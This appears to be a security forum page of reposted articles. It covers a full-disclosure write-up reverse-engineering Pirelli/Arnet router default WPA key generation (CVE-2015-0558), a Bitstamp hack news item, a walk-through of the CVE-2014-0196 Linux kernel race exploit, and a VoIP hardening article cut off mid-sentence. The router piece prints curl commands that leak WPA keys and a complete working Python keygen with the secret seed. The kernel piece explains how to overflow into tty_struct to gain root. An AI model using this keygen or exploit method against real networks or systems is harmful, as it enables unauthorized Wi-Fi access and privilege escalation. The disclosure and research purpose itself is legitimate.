Nytro

CVE-2015-0558: Reverse-engineering the default WPA key generation algorithm for Pirelli routers in Argentina Lunes, 5 de enero de 2015 superdudu Introduction Sticker with default settings A couple of years ago whether I do not remember badly, I was doing reverse engineering in some Spanish routers deployed by Pirelli as well. After I extracted the firmware and found out a suspicious library with many references to key generation’s functions everything was over. Unfortunately, I could not recover the algorithm itself. Principally, because those routers were not using the same algorithm for generating default keys and simply because such algorithm was not explicitly there. Shit happens! However, as I could not reveal the algorithm then decided to try another way to recover keys. Eventually, I realised that these routers were vulnerable to unauthorized and unauthenticated remote access and any adversary could fetch HTML code from our public IP address. Plenty of HTMLs were able to be downloaded without any restriction, meaning a huge leakage. Being vulnerable to a bunch of evil attacks. This remote information disclosure can be seen on this CVE-2015-0554. On the other side, I do not know whether Argentinian routers are also vulnerable to this vulnerability. Feel free to try it out and let me know too. Just to see how easy was to achieve those keys in the HomeStation(essids-like WLAN_XXXX) in Spain, a simple curl command was enough: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_" <option value='0'>WLAN_DEAD</option> $ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey" var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD'; $ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin" var WscDevPin = '12820078'; [/TD] [/TR] [/TABLE] Today I am gonna explain how I reverse engineered a MIPS library in order to recover the default WPA key generation algorithm for some Argentinian routers deployed by Pirelli. Concretely the router affected is the model P.DG-A4001N. First of all, I am neither Argentinian nor live there. Nevertheless, accidentally I observed some stickers from Pirelli routers in a random forum and as an user had already publicly published the firmware for those routers then I decided to give a try. As I still remembered the file where I dug into for the Spanish routers, I rapidly tried to recover the algorithm in these routers. Next writing is the way I followed until to achieve it. Reverse-engineering the default key generation algorithm In this section, we are going to reverse engineer a MIPS library, /lib/private/libcms.core, found out in the firmware itself. First of all, let us comment that the firmware was extracted for another user (fernando3k) and subsequently extracted by using Binwalk and firmware-mod-kit. Once was mounted into our system, we found out a function called generatekey. As you have seen, symbols have not been removed in binaries and external function names are still there because dynamic compilation. This help us a lot in our reverse engineering task. On top of that, we rapidly saw how this function was calling to another one called generatekey_from_mac. At this moment, I decided to give a go to this challenge. Before get started, IDA Pro can help us with the cross references (Xrefs to-from in IDA Pro) between functions. Let’s see how functions are called in the library. (Zoom pictures in to see properly) Call flow from generateKey Really looking great! Now let’s look at the cross references. We have figured out some tips: generatekey calls generatekey_from_mac. This allow us to suppose that the mac address is involved in the key generation algorithm. Besides, getPBSHwaddr returns a mac address and it is also called by generatekey. Verification was carried out after checking how getPBSHwaddr returned the value of /var/hwaddr ( “ifconfig %s > /var/hwaddr “) SHA256 cryptographic hash function is also involved. We then know that our key is coming from a well-known hash function. This way to generate WPA keys is very popular in some vendors because the feeling of “randomness”. Digging into this function will give us the main structure of our algorithm. The function createWPAPassphraseFromKey is called by wlWriteMdmDefault ,which also calls to generatekey as well. Hence, we discover a function called bintoascii which is basically responsible to convert binary to ascii data. The SSID is also created from the mac address although it is not relevant for our task. Call flow for createWPAPassphraseFromKey Now we must dissect the generatekey_from_mac function and its SHA256 callings to figure out how many parameters are being sent as input data. Before calling generatekey, a string “1236790” is sent to this function as first argument ($a3). Nonetheless, we have to guess which is the right order for the SHA256 function, I mean how many updates there are. If we observe the below picture, we will see this step. Dissasembly of wlWriteMdmDefault From generateKey_from_mac we realise that: (Look at below image) First argument is located at offset 0x000d29e0 Second argument is the string we discovered previously (“1236790”) Third argument it has to be the mac address because there is an instruction load immediate with the value 6. Since a mac address is 6 bytes, we can try it out now. Dissasembly of generateKey_from_mac As we know that the first argument is located at the offset 0xd29e0, just a jump there and let’s reveal the secret seed used in the SHA256. Now we have guessed the first argument, and we can prepare those 32 bytes into a byte-array structure to generate the SHA256 hash later on. This secret seed has been used by Pirelli too in other countries like Italy or Austria (Look at the references on the source code for more info). Furthermore, below that we can also distinguish the charset finally used to generate keys with. Secret data found out in the library. In the end, we conclude that the algorithm is as follows: (mac address needs to be incremented by 1) SHA256(secret_seed+”1236790?+mac_address) More details on how keys are eventually generated in this python function: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]def genkey(mac): seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8') lookup = '0123456789abcdefghijklmnopqrstuvwxyz' sha256 = hashlib.sha256() sha256.update(seed) sha256.update('1236790') sha256.update(mac) digest = bytearray(sha256.digest()) return ''.join([lookup[x % len(lookup)] for x in digest[0:10]]) [/TD] [/TR] [/TABLE] Problems Since I attempted to do a responsible disclosure and neither ADB Pirelli nor Arnet Argentina were interested to discuss the problem, I have finally decided to do full disclosure to speed up the process of fixing. It looks like the only way with some vendors, just enforce them to replace routers for avoiding intrusions. Many things can happen whether your router with SSID Wifi-Arnet-XXXX has the default password. For your information, default passwords are located in a sticker at the bottom of routers. If you are owner of these networks, please change your password as soon as possible. You should always change the default passwords, though. An adversary, within of the wifi range, could access to your network and commit any sort of fraud. Be safe and change the passwords right now! Timeline 2014-09-11 Found the algorithm 2014-09-12 Send a message to @ARNetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail 2014-09-16 Send another message to Arnet via website.First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients’ security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure Proof-of-concept This proof-of-concept and many Pirelli default key generation algorithms might be found at my Bitbucket repository. I hope you can use them. Also a copy&paste of the first version can be looked at below. To be installed just make sure you got git installed on your system and then run: $ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git $ python wifiarnet.py #!/usr/bin/env python # -*- coding: utf-8 -*- ''' @license: GPLv3 @author : Eduardo Novella @[URL="https://rstforums.com/forum/member.php?u=25234"]cont[/URL]act: ednolo[a]inf.upv.es @twitter: @enovella_ ----------------- [*] Target : ----------------- Vendor : ADB broadband Pirelli Router : Model P.DG-A4001N ISP : Arnet Telecom Argentina Possible-targets : [URL]http://hwaddress.com/?q=ADB%20Broadband%20Italia[/URL] Firmware : [URL]http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/[/URL] ----------------- [*] References : ----------------- [0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness [URL]http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/[/URL] [1] [ITALY] Alice AGPF: The algorithm! [URL]http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/[/URL] ----------------- [*] Test vectors : ----------------- [URL]http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551[/URL] ----------------------- [*] Acknowledgements : ----------------------- Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors. ----------------- [*] Timeline : ----------------- 2014-09-11 Found the algorithm 2014-09-12 Send a message to @[URL="https://rstforums.com/forum/member.php?u=126676"]ARN[/URL]etOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail ([URL]http://www.telecom.com.ar/hogares/contacto_tecnico.html[/URL]) 2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients' security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure ----------------- [*] TODO : ----------------- 1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though. 2.- Extract more firmwares from others vendors and send them to me. ''' import re import sys import hashlib import argparse VERSION = 1 SUBVERSION = 0 DATEVERSION = '2014-09-11' URL = 'http://www.ednolo.alumnos.upv.es' def genkey(mac,stdout='True'): seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' + '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8') lookup = '0123456789abcdefghijklmnopqrstuvwxyz' sha256 = hashlib.sha256() sha256.update(seed) sha256.update('1236790') sha256.update(mac) digest = bytearray(sha256.digest()) if (stdout): print "[+] SHA256 : %s" % sha256.hexdigest() return ''.join([lookup[x % len(lookup)] for x in digest[0:10]]) def printTargets(): print "[+] Possible vulnerable targets so far:" for t in targets: print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper())) sys.exit() def checkTargets(bssid): supported = False for t in targets: if ( bssid.upper().startswith(t) ): supported = True break if (not supported): print "[!] Your bssid looks like not supported! Generating anyway." def main(): global targets version = " {0:d}.{1:d} [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL) targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54', '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F'] parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are likely vulnerable. See [URL]http://ednolo.alumnos.upv.es/[/URL] for more details. Twitter: @enovella_ and email: ednolo[at]inf.upv.es''', epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0]) ) maingroup = parser.add_argument_group(title='required') maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address') parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version) command_group = parser.add_mutually_exclusive_group() command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true') args = parser.parse_args() if args.list: printTargets() elif args.bssid: mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid) if len(mac_str) != 12: sys.exit('[!] Check MAC format!\n') try: mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1)) except: sys.exit('[!] Use real input ') checkTargets(args.bssid) print '[+] SSID : Wifi-Arnet-XXXX' print '[+] MAC : %s' % args.bssid print '[+] WPA key : %s' % (genkey(mac,False)) else: parser.print_help() if __name__ == "__main__": main() Sursa: Computer issues… » CVE-2015-0558: Reverse-engineering the default WPA key generation algorithm for Pirelli routers in Argentina

[h=2]Hackers Steal $5 Million From Bitcoin Exchange[/h] Victor Luckerson @VLuck Jan. 6, 2015 [h=2]Breach follows massive hack of Mt. Gox in 2014[/h] A European Bitcoin exchange had about $5 million worth of the cryptocurrency stolen by hackers over the weekend. The Slovenia-based Bitstamp announced the breach on its website Monday and shut down services temporarily Tuesday in order to investigate the hack. The theft totaled about 19,000 Bitcoin, but hackers were only able to access a small portion of the exchange’s total assets. While some Bitcoins are stored online, many more are kept on local hard drives in what Bitcoin users call “cold storage.” Bitstamp wrote on its website that it would ensure users’ account balances were “honored in full” despite the breach. The hack comes less than a year after the collapse of Mt. Gox, the once-massive Bitcoin exchange that lost more than $450 million worth of Bitcoin and then filed for bankruptcy. Bitcoin lost half of its value after Mt. Gox imploded. So far, though, the Bitstamp breach doesn’t seem to have negatively influenced the price of the currency. Sursa: Bitcoin Exchagne Bitstamp Loses $5 Million in Hack

Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC By Samuel Groß Introduction Recently a severe vulnerability in the Linux kernel was publicly disclosed and patched. In this post we'll analyze what this particular security vulnerability looks like in the Linux kernel code and walk you through the publicly published proof-of-concept exploit code by Matthew Daley released May 12th 2014. The original post by the SUSE security team to oss-security announced that the vuln was found accidentally by a customer in production! You can find the patch at this link. The core issue is located in the pty subsystem of the kernel and has been there for about five years. There was about one year in the middle where the vuln was not present, we'll talk about that a bit later in this post. Background on the pty/tty subsystem In order to fully understand the vuln we'll have to dive into the pty/tty subsystem of the linux kernel so lets start there. A tty is "..an electromechanical typewriter paired with a communication channel." Back in the day a tty was made up of a keyboard for the input, a screen or similar display for the output and an OS process that was attached to this concept of tty. The process would then receive the input and it's output would be redirected to the screen. Those days are long gone but command line applications are not (thankfully!) and today we mostly use pseudo terminals. The main difference here is that instead of a keyboard and screen another process sits at the master side of the pty (for example a terminal emulator). Think of a pty as a bidirectional pipe or socket with some additional hooks in place (for example if you type a ctrl-c on the master side the kernel will interpret it instead of sending it to the slave. In this case the kernel will send a SIGINT signal to the slave process which will often cause it to terminate execution). It's the pty subsystem's job to take input from either side of the pty, look for specific bytes in the byte stream (e.g. a ctrl-c), process them and deliver everything else to the other side. There is additional logic involved here which is not present in other IPC concepts such as pipes or sockets. This logic takes care to ensure things like echoing characters you type at the master end are also written back to it, pressing the backspace key to remove previously typed characters actually works on display, or sending signals like SIGINT when ctrl-c is sent. This logic is called line discipline (ldisc in short). Upon receiving data from either side the kernel will store the data in a temporary buffer (struct tty_buffer) and queue a work item to process the incoming data (flush it to the line discipline) at a later point and deliver them to the client side (I assume this is mainly done for "real" terminals whose input arrives in interrupt context (i.e. keyboard press, USB packet, ...) and should thus be handled as fast as possible). In this vuln we'll be racing one of these worker processes while it processes data to find the exploitable condition. You can learn more about the pty subsystem here: The TTY demystified The vulnerability For background we'll first need to introduce some important structures from include/linux/tty.h. (all source code excerpts were taken from Linux 3.2.58 except if stated otherwise): struct tty_buffer { struct tty_buffer *next; char *char_buf_ptr; unsigned char *flag_buf_ptr; int used; int size; int commit; int read; /* Data points here */ unsigned long data[0]; }; As seen above a tty_buffer data structure temporarily holds a fixed number (well under normal circumstances) of bytes that have arrived at one end of the tty and still need to be processed. tty_buffer is a dynamically sized object, so the char_buf_ptr will always point at the first byte right after the struct and flag_buf_ptr will point to that address plus 'size'. tty_buffer.size (which is only the size of the char buffer) can be any of the following: 256, 512, 768, 1024, 1280, 1536 and 1792 (TTY_BUFFER_PAGE). The actual size of the object is then calculated as follows: 2 x size (for characters + flags) + sizeof(tty_buffer) (for the header), causing the tty_buffer to live in one of the following three kernel heap slabs: kmalloc-1024, kmalloc-2048 or kmalloc-4096. struct tty_bufhead { struct work_struct work; spinlock_t lock; struct tty_buffer *head; /* Queue head */ struct tty_buffer *tail; /* Active buffer */ struct tty_buffer *free; /* Free queue head */ int memory_used; /* Buffer space used excluding free queue */ }; A tty_bufhead is, as the name implies, is the head (or first) data structure for tty_buffers. It keeps a list active buffers (head) while also storing a direct pointer to the last buffer (the currently active one) to improve performance. You will often see references to bufhead->tail in the kernel source code, meaning the currently active buffer is requested. It also keeps it's own freelist for buffers smaller than 512 bytes (see drivers/tty/tty_buffer.c:tty_buffer_free()). struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; /* ... */ struct tty_bufhead buf; /* Locked internally */ /* ... */ }; The tty_struct data structure represents a tty/pty in kernel space. For the sake of this post all you need to know is that it stores the tty_bufhead and thus the buffers. Alright, let's start with the function mentioned in the commit message, tty_insert_flip_string_fixed_flag() in drivers/tty/tty_buffer.c. It is responsible for storing the given bytes in a tty_buffer of the tty device, allocating a new one if required: The call chain leading up to this function roughly looks like this: write(pty_fd) in userspace -> sys_write() in kernelspace -> tty_write() -> pty_write() -> tty_insert_flip_string_fixed_flag() int tty_insert_flip_string_fixed_flag(struct tty_struct *tty, const unsigned char *chars, char flag, size_t size) { int copied = 0; do { int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE); int space = tty_buffer_request_room(tty, goal); /* -1- */ struct tty_buffer *tb = tty->buf.tail; /* If there is no space then tb may be NULL */ if (unlikely(space == 0)) break; memcpy(tb->char_buf_ptr + tb->used, chars, space); /* -2- */ memset(tb->flag_buf_ptr + tb->used, flag, space); tb->used += space; /* -3- */ copied += space; chars += space; /* There is a small chance that we need to split the data over several buffers. If this is the case we must loop */ } while (unlikely(size > copied)); return copied; } This function is fairly straightforward: At -1- tty_buffer_request_room ensures that enough space is available in the currently active buffer (tty_bufhead->tail), allocating a new one if required. At -2- the incoming data is written to the active buffer and at -3- the 'used' member is incremented. Note that tb->used is used as an index into the buffer. The commit message mentions that two separate processes (a kernel worker process echoing data previously written to the master end and the process at the slave end writing to the pty directly) can enter this function at the same time due to a missing lock, thus causing a race condition. So what could happen here? The commit message provides us with the following scenario: A B __tty_buffer_request_room __tty_buffer_request_room memcpy(buf(tb->used), ...) tb->used += space; memcpy(buf(tb->used), ...) ->BOOM In here we see two processes (A and writing to the pty at the same time. Since the first process updates tb->used first the memcpy() of the second process will write past the end of the buffer (assuming the first write already filled the buffer) and thus causes the memory corruption. Now this looks reasonable at first but is actually only part of the story. Here are some observations that don't quite fit with this scenario: - When running a simple PoC the kernel seems to crash very fast (on older kernels at least), while the scenario above seems relatively hard to achieve - Looking at the debugger shows that often multiple pages of kernel data have been overwritten upon crashing. This can hardly be the case when only sending e.g. 2 x 4096 bytes at once Also take a look at the following (slightly shortened) stacktrace, produced by setting a breakpoint at tty_insert_flip_string_fixed_flag() #0 tty_insert_flip_string_fixed_flag (tty=tty@entry=0xffff880107a82800, chars=0x0, flag=flag@entry=0 '\000', size=1) /* -1. */ #1 tty_insert_flip_string (size=<optimized out>, chars=<optimized out>, tty=0xffff880107a82800) #2 pty_write (tty=0xffff880117cd3800, buf=<optimized out>, c=<optimized out>) #3 tty_put_char (tty=tty@entry=0xffff880117cd3800, ch=66 'B') /* -2- */ #4 process_echoes (tty=0xffff880117cd3800) #6 n_tty_receive_char (c=<optimized out>, tty=0xffff880117cd3800) #7 n_tty_receive_buf (tty=0xffff880117cd3800, cp=0xffff880117a78828 'B' ..., fp=0xffff880117a78a2d "", count=512) #8 flush_to_ldisc (work=0xffff880117cd3910) #9 process_one_work (worker=worker@entry=0xffff880118f507c0, work=0xffff880117cd3910) #10 worker_thread (__worker=__worker@entry=0xffff880118f507c0) #11 kthread (_create=0xffff880118ed9d80) #12 kernel_thread_helper () This is the code path a worker process takes when performing a flush to the line discipline. As can be seen at -1- and -2- the echoing is actually done byte by byte. Clearly we can't cause much harm by only overwriting a buffer with a single byte when the chunk still has unused space left (as will be the case for tty_buffer objects). In the following we will now assume that the race went something like this: Process A wrote 256 bytes, process B (performing an echo) entered tty_buffer_request_room() before A updated tb->used, causing it to not allocate a fresh buffer. Afterwards B wrote another byte to the same buffer and incremented tb->used further. To understand what is really causing the memory corruption take a look at the tty_buffer_request_room() function called by tty_insert_flip_string_fixed_flag(). int tty_buffer_request_room(struct tty_struct *tty, size_t size) { struct tty_buffer *b, *n; int left; /* -1- */ unsigned long flags; spin_lock_irqsave(&tty->buf.lock, flags); /* -2- */ /* OPTIMISATION: We could keep a per tty "zero" sized buffer to remove this conditional if its worth it. This would be invisible to the callers */ if ((b = tty->buf.tail) != NULL) left = b->size - b->used; /* -3- */ else left = 0; if (left < size) { /* -4- */ /* This is the slow path - looking for new buffers to use */ if ((n = tty_buffer_find(tty, size)) != NULL) { if (b != NULL) { b->next = n; b->commit = b->used; } else tty->buf.head = n; tty->buf.tail = n; } else size = left; } spin_unlock_irqrestore(&tty->buf.lock, flags); return size; } Now things start to get interesting, note how at -1- 'left' has type int while 'size' is of type size_t (aka unsigned long). Assuming we previously won the race and have written 257 bytes while the buffer was only 256 bytes large then we now have the following situation: b->size is 256 b->used is 257 Looking at the code above, at -3- 'left' will now equal -1 and at -4- will be casted to an unsigned value, resulting in 18446744073709551615 (assuming 64 bit long) which is definitely larger then the given size. The following block will be skipped and no new buffer will be allocated for the current request even though the current buffer is more than full. At this point sending more data to the pty will result in the data being put into the same buffer, overflowing it further (remember 'used' is used as an index into the buffer). Since b->used will still be incremented for each byte we can now overflow as much data as we want. Also note that this function is locked internally (at -2-), thus serializing access to it. Now we are ready to draw an updated scenario that leads to an overflow: A (Slave) B (Echo) tty_buffer_request_room | // waiting for A to release the lock tty_buffer_request_room // tb->used < tb->size, // no new buffer is allocated memcpy(.., 256); memcpy(.., 1); tb->used += space; tb->used += space; // tb->used is now larger than tb->size Note that we will win the race as soon as the echoing process enters tty_buffer_request_room and calculates 'left' before the first process gets to update tb->used. Since the whole memcpy() operation is in between, that time frame is relatively large. So as far as race condition scenarios go, the single case mentioned in the commit message is only one possible way that can result in memory corruption (and only if A fills the buffer completely). In general any sequence that results in tb->used being larger than tb->size will result in a memory corruption later on. For that to happen the first process must send data to completely fill a buffer (i.e. sending tb->size bytes in total) while the echoing process must enter tty_buffer_request_room() before the first process updates tb->used (this leads to tty_buffer_request_room() not allocating a fresh buffer). The corruption is then caused by sending more data to the pty which will continue to overflow the same buffer. At this point the vuln turns into a standard kernel heap overflow. And we'll conclude this section with fun fact: The race in this vuln can actually be won by using just one process. This stems from the fact that we are racing a kernel worker process and not a second user-land process. Getting to root - The exploit Here we want to quickly analyze the published exploit code which will hopefully be easy to understand now that the details of the vuln are known. Going step-by-step with PoC's console output we see... [+] Resolving symbols Yep, that's what it's doing. Note that some modern distributions (notably Ubuntu) set /proc/sys/kernel/kptr_restrict to 1, thus disabling /proc/kallsyms. For repository kernels this is merely an inconvenience though since the kernel image (and System.map) can be downloaded locally and the addresses taken from there. [+] Doing once-off allocations Stabilizing the heap. We need to make sure existing holes are filled to maximize the chances of getting objects laid out linear in the address space. We want our target buffer to be followed by one of our target objects (struct tty_struct). [+] Attempting to overflow into a tty_struct... Now we are racing. This is fairly straightforward, open a pty, spawn a new thread and write to both ends at the same time. Afterwards the child thread will send the data needed to overflow into the adjacent chunk. Assuming the race has been won at the start then there is no time pressure on these operations as discussed above. Also note that only one byte is sent to the master end, this is done so the number of bytes that has yet to be sent can be calculated. The exploit targets tty_struct structures which end up in the kmalloc-1024 slab cache. The buffer we will overflow will thus have to be in that cache as well (so tb->size = 256 which is also the minimum size). Before writing to the slave end the first time (to allocate a fresh buffer) the exploit creates a bunch of new pty's, thus allocating tty_structs in kernel space. It will then close one of them in hopes that the newly allocated buffer will end up in the freed chunk. If this works out we will have a bunch of tty_structs, followed by the buffer followed by more tty_structs in the kernel address space. Let's take a quick look at the function executed by the new thread to overflow into the following chunk: void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } The first write here will fill the previously allocated buffer (right after closing one of the pty's we allocated a new buffer by writing one byte to the slave fd). Note that the author assumes the buffer to hold 512 bytes while it's size is 256 (MIN_TTYB_SIZE). The reason for that is that on newer releases the kernel can use the flag buffer for data as well (if it knows the flags won't be needed), so the usable size of the buffer is doubled. The next write fills the memory chunk of the buffer completely. The chunk is 1024 bytes large and so far we have written 32 bytes (sizeof(struct tty_buffer)) + 511 + 1 (the first write to the slave fd) + 1 (the echoed byte from the master fd). The final write overwrites into the next heap chunk with a fake tty_structure previously created. Now remember that tty_struct has a member 'ops' that is a pointer to a tty_operations struct? Well those ops members in the linux kernel are always pointers to structures holding function pointers themselves (if you're familiar with C++ this is similar to the vtable pointer of C++ objects). These function pointers correspond to actions performed on the device, there's one for open(), one for close() one for ioctl() and so on. Now assuming we have overwritten the object then 'ops' will now be under our control, pointing into user space. There we have prepared an array of function pointers pointing to our kernel payload. Now as soon as we perform an ioctl on the tty device we will hijack the kernel control flow and redirect it into the payload. There we'll execute the standard prepare_kernel_cred(0) followed by commit_creds(), elevating our privileges to root: [+] Got it # id uid=0(root) gid=0(root) groups=0(root) Note that SMEP/SMAP will prevent this exploit (as well as the grsecurity system) as they prevent the kernel from accessing user-land data (SMAP) and code (SMEP). Limitations Unlike most other race conditions, in the case of this vuln the attacker is only able to control one of the two processes. Kernel worker processes will check for new work items regularly but can't really be affected by user space. This seems to make a huge difference for different kernel versions, on 3.2 it usually only takes a couple seconds to win the race while on 3.14 it can take multiple minutes. As mentioned in the PoC code another thing that limits the reliability is the slab cache size in use. As previously discussed the buffer can only be in one of the following slabs: kmalloc-1024, kmalloc-2048 and kmalloc-4096. At sizes this big the chance of hitting the last chunk in the last page of a slab becomes more likely, further limiting the reliability. When that happens the code will overflow into uncontrolled data. This might have no consequences (no important data has been overwritten), lead to a crash later on (some object has been overwritten that is referenced at some point in the future) or even lead to an immediate panic/Oops (for example when the next page is mapped read only). As also mentioned in the PoC exploit the flags cause some trouble on older kernels (before the commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9) as b->size bytes following the overwritten part will always be cleared to zero. Thus when overwriting a controlled object either the whole objects needs to be restored (and the zeros written into unused space before the end of the chunk) or an object needs to be found where parts of it can safely be overwritten with zeros. For the last part it might be possible to target tty_buffer objects when exploiting the vuln on pre 3.14 kernels. Here the header can be overwritten, yielding an arbitrary write (overwrite char_buf_ptr and afterwards send data to the pty) while the zeroes can safely be written into the buffer space and won't cause any trouble. Is Android vulnerable? As stated in the advisory the vulnerability dates back to 2.6.x kernels, roughly 5 years old. That would imply that pretty much every android device out there is vulnerable to this issue. Running a quick PoC on a newer device (for example the Nexus 5, HTC One or Galaxy S4) it seems the race can never be won there though. Let's again take a look at some kernel source code, this time from the HTC One (m7) Cyanogenmod kernel source. int tty_insert_flip_string_fixed_flag(struct tty_struct *tty, const unsigned char *chars, char flag, size_t size) { int copied = 0; do { int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE); int space; unsigned long flags; struct tty_buffer *tb; spin_lock_irqsave(&tty->buf.lock, flags); /* -1- */ space = __tty_buffer_request_room(tty, goal); tb = tty->buf.tail; if (unlikely(space == 0)) { spin_unlock_irqrestore(&tty->buf.lock, flags); break; } memcpy(tb->char_buf_ptr + tb->used, chars, space); memset(tb->flag_buf_ptr + tb->used, flag, space); tb->used += space; spin_unlock_irqrestore(&tty->buf.lock, flags); copied += space; chars += space; } while (unlikely(size > copied)); return copied; } The Interesting difference is that at -1- we see that the function here is actually locked internally. Now as stated above to win the race the second process needs to enter __tty_buffer_request_room() before the first process updated tb->used. This is not possible if the function is locked like this. Taking a look at the git history of the Linux kernel it turns out that all kernels between c56a00a165712fd73081f40044b1e64407bb1875 (march 2012) and 64325a3be08d364a62ee8f84b2cf86934bc2544a (january 2013) are not affected by this vuln as tty_insert_flip_string_fixed_flag() was internally locked there. For Android that means quite a few of the newer devices are not vulnerable to this issue, most of the older ones are though and there are some newer ones integrated the 64325a3be08d364a62ee8f84b2cf86934bc2544a Linux kernel patch, making them vulnerable again. Conclusion Kernel exploits are hard, getting them reliable is even harder! This concludes our analysis of CVE-2014-0196, we hope you have gained some deeper understanding of this vuln and kernel level security in general. For more details on linux kernel exploitation you can take a look at our last post: How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038 If you have feedback or have worked on something similar let us know, you can email us at: info/at\includesecurity.com Sursa: Include Security Blog | As the ROT13 turns….: Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC

[h=1]DEF CON 22 PoS Attacking the Traveling Salesman[/h] CyberPunk: CyberPunk - Madness and Obsession on the Electronic Frontier

Hardening VoIP systems: Challenges and solutions By InfoSec Institute 06 January 2015, 16:04 p.m. ©iStock.com/rbouwman By Albert Fruz, InfoSec Institute VoIP systems can take many different forms. Any computer is capable of providing VoIP services. Microsoft’s NetMeeting, which comes with any Windows platform, provides some VoIP services as does the Apple Macintosh iChat and many more in Linux platforms. In this growing era of smartphones, everyone carries a VoIP application in their pocket to make cheap calls. VoIP can be implemented in the following ways: ATA The simplest and most common way is through the use of a device called an ATA (analog telephone adaptor). The ATA allows you to connect a standard phone to your computer or your Internet connection for use with VoIP. The ATA is an analog-to-digital converter. It takes the analog signal from your traditional phone and converts it into digital data for transmission over the Internet. IP Phones These are specialized phones which look just like normal phones with a handset, cradle and buttons. But instead of having the standard RJ-11 phone connectors, IP phones have an Ethernet connector sockets. IP phones connect directly to your router and have all the hardware and software necessary right on board to handle the IP call. Wi-Fi phones allow subscribing callers to make VoIP calls from any Wi-Fi hot spot. This method is most commonly employed in corporate networks. Computer-to-computer This is certainly the easiest way to use VoIP. You don’t even have to pay for long-distance calls. There are several companies offering free or very low-cost software that you can use for this type of VoIP. All you need is the software, a microphone, speakers, a sound card and an Internet connection. A VoIP network generally consists of several components: - VoIP Server - VoIP Gateway (VoIP gateway is used to connect the PSTN with the VoIP system) - VoIP Client VoIP makes use of several protocols to transfer voice data over packet based networks some commonly used protocols include SIP, RTP, Skype, Cisco’s SCCP etc. Of these the SIP protocol is commonly used for carrying out VoIP conversations. The major protocols are explained in greater detail below. VoIP quality of service issues Jitter: Jitter refers to non-uniform packet delays. It is often caused by low bandwidth situations in VoIP and can be exceptionally detrimental to the overall QoS. Variations in delays can be more detrimental to QoS than the actual delays themselves. Jitter can cause packets to arrive and be processed out of sequence. Latency: Latency in VoIP refers to the time it takes for a voice transmission to go from its source to its destination. Ideally, we would like to keep latency as low as possible but there are practical lower bounds on the delay of VoIP. Packet loss: Packet loss is another major QoS issue for VoIP systems. VoIP is exceptionally intolerant of packet loss. Packet loss can result from excess latency, where a group of packets arrives late and must be discarded in favor of newer ones. It can also be the result of jitter, that is, when a packet arrives after its surrounding packets have been flushed from the buffer, making the received packet useless. Bandwidth: In computer networks, bandwidth is often used as a synonym for data transfer rate – the amount of data that can be carried 